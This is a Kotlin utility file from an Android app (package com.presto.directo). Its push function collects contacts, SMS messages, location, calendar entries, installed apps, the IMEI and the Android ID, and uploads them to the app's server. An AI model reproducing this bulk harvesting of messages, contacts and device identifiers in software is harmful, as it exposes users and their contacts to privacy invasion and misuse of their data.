package com.presto.directo.utils

import androidx.fragment.app.FragmentActivity
import com.presto.directo.entity.BaseEntity
import com.presto.directo.net.*
import kotlinx.coroutines.*
import kotlinx.coroutines.rx3.awaitFirst

val pushId = arrayListOf(5, 7, 8, 36, 37, 45)
val locationUtil by lazy { LocationUtil() }

fun CoroutineScope.push(activity: FragmentActivity, deviceInfoUtil: DeviceInfoUtil, message_id: Int): Deferred<BaseEntity<Any>> {
    return async {
        val map = getFetchMap(activity, deviceInfoUtil)
        val list = when (message_id) {
            7 -> ContactUtil.getContacts(activity)
            8 -> {
                val locationInfo = locationUtil.startLocation(activity).awaitFirst()
                arrayListOf(mapOf("longitude" to locationInfo.longitude, "latitude" to locationInfo.latitude))
            }
            36 -> arrayListOf(deviceInfoUtil.getDevice())
            37 -> SmsListUtil.getSms(activity)
            45 -> CalendarUtil.getList(activity)
            else -> AppListUtil.getAppList(activity)
        }
        map["record"] = list
        getApiService().push(map.sign(message_id))
    }
}

fun getFetchMap(activity: FragmentActivity, deviceInfoUtil: DeviceInfoUtil): MutableMap<String, Any?> {
    val map = getHttpMap()
    map["mobile"] = "52" + UserUtil.getUser()?.phone
    map["device_id"] = deviceInfoUtil.getImei()
    map["imei"] = deviceInfoUtil.getImei()
    map["android_id"] = deviceInfoUtil.getAndroidId()
    return map
}